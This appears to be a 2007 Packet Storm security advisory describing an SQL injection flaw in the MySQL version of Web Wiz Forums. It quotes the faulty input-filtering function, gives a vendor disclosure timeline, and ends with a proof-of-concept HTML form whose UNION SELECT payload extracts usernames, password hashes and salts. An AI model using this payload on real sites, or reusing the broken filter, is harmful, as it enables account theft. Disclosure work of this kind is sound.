Search...

webwiz805-sql.txt

2007-03-21T00:00:00

ID PACKETSTORM:55257
Type packetstorm
Reporter Ivan Fratric
Modified 2007-03-21T00:00:00

Description

                                        
                                            `There is a vulnerability in MySQL version of Web Wiz Forums, free ASP  
bulletin board system software, enabling SQL injection. The  
vulnerability is in the code used to filter string parameters prior to  
including them in the SQL queries:  
  
'Format SQL Query funtion  
Private Function formatSQLInput(ByVal strInputEntry)  
'Remove malisous charcters from sql  
strInputEntry = Replace(strInputEntry, "\'", "\'", 1, -1, 1)  
strInputEntry = Replace(strInputEntry, """", "", 1, -1, 1)  
strInputEntry = Replace(strInputEntry, "'", "''", 1, -1, 1)  
strInputEntry = Replace(strInputEntry, "[", "[", 1, -1, 1)  
strInputEntry = Replace(strInputEntry, "]", "]", 1, -1, 1)  
strInputEntry = Replace(strInputEntry, "&lt;", "&lt;", 1, -1, 1)  
strInputEntry = Replace(strInputEntry, "&gt;", "&gt;", 1, -1, 1)  
'Return  
formatSQLInput = strInputEntry  
End Function  
  
Assume the user enters a string containing the following sequence of  
characters: \"' (a backslash, followed by a double quote followed by a  
single quote). The first line inside the function above would do  
nothing, the second line would remove the double quote, and after the  
third line the sequence would look like \'' (a backslash followed by  
two single quotes). In MySQL the first two characters would be  
interpreted as an escaped single quote and the third character would  
terminate the quotes thus allowing injection of arbitrary SQL code  
placed after it.  
  
Only the MySQL version of the Web Wiz Forums is vulnerable to this as  
SQL Server and MS Access don't use backslash as an escape character.  
  
Below I include a small exploit that demonstrates this vulnerability.  
  
Mar 19th 2007: Vulnerability discovered  
Mar 20th 2007: Vendor contacted  
Mar 20th 2007: Vendor responded  
Mar 20th 2007: Vendor released fixed version (8.05a)  
  
Discovered and reported by Ivan Fratric  
http://ifsec.blogspot.com/  
  
  
&lt;form method="post" action="http://localhost/forum/pop_up_member_search.asp?"&gt;  
&lt;input type="hidden" name="name" id="name" value="\"' union  
select concat(userusernamename,char(58),passpasswordword,char(58),sasaltlt)  
from tblautauthorhor /*" &gt;  
&lt;input type="submit" value="Go"&gt;  
&lt;/form&gt;  
`

JSON Vulners Source

Initial Source

{"id": "PACKETSTORM:55257", "type": "packetstorm", "bulletinFamily": "exploit", "title": "webwiz805-sql.txt", "description": "", "published": "2007-03-21T00:00:00", "modified": "2007-03-21T00:00:00", "cvss": {"vector": "NONE", "score": 0.0}, "href": "https://packetstormsecurity.com/files/55257/webwiz805-sql.txt.html", "reporter": "Ivan Fratric", "references": [], "cvelist": [], "lastseen": "2016-11-03T10:24:36", "viewCount": 1, "enchantments": {"score": {"value": -0.0, "vector": "NONE", "modified": "2016-11-03T10:24:36", "rev": 2}, "dependencies": {"references": [], "modified": "2016-11-03T10:24:36", "rev": 2}, "vulnersScore": -0.0}, "sourceHref": "https://packetstormsecurity.com/files/download/55257/webwiz805-sql.txt", "sourceData": "`There is a vulnerability in MySQL version of Web Wiz Forums, free ASP \nbulletin board system software, enabling SQL injection. The \nvulnerability is in the code used to filter string parameters prior to \nincluding them in the SQL queries: \n \n'Format SQL Query funtion \nPrivate Function formatSQLInput(ByVal strInputEntry) \n'Remove malisous charcters from sql \nstrInputEntry = Replace(strInputEntry, \"\\'\", \"\\'\", 1, -1, 1) \nstrInputEntry = Replace(strInputEntry, \"\"\"\", \"\", 1, -1, 1) \nstrInputEntry = Replace(strInputEntry, \"'\", \"''\", 1, -1, 1) \nstrInputEntry = Replace(strInputEntry, \"[\", \"[\", 1, -1, 1) \nstrInputEntry = Replace(strInputEntry, \"]\", \"]\", 1, -1, 1) \nstrInputEntry = Replace(strInputEntry, \"<\", \"<\", 1, -1, 1) \nstrInputEntry = Replace(strInputEntry, \">\", \">\", 1, -1, 1) \n'Return \nformatSQLInput = strInputEntry \nEnd Function \n \nAssume the user enters a string containing the following sequence of \ncharacters: \\\"' (a backslash, followed by a double quote followed by a \nsingle quote). The first line inside the function above would do \nnothing, the second line would remove the double quote, and after the \nthird line the sequence would look like \\'' (a backslash followed by \ntwo single quotes). In MySQL the first two characters would be \ninterpreted as an escaped single quote and the third character would \nterminate the quotes thus allowing injection of arbitrary SQL code \nplaced after it. \n \nOnly the MySQL version of the Web Wiz Forums is vulnerable to this as \nSQL Server and MS Access don't use backslash as an escape character. \n \nBelow I include a small exploit that demonstrates this vulnerability. \n \nMar 19th 2007: Vulnerability discovered \nMar 20th 2007: Vendor contacted \nMar 20th 2007: Vendor responded \nMar 20th 2007: Vendor released fixed version (8.05a) \n \nDiscovered and reported by Ivan Fratric \nhttp://ifsec.blogspot.com/ \n \n \n<form method=\"post\" action=\"http://localhost/forum/pop_up_member_search.asp?\"> \n<input type=\"hidden\" name=\"name\" id=\"name\" value=\"\\\"' union \nselect concat(userusernamename,char(58),passpasswordword,char(58),sasaltlt) \nfrom tblautauthorhor /*\" > \n<input type=\"submit\" value=\"Go\"> \n</form> \n`\n"}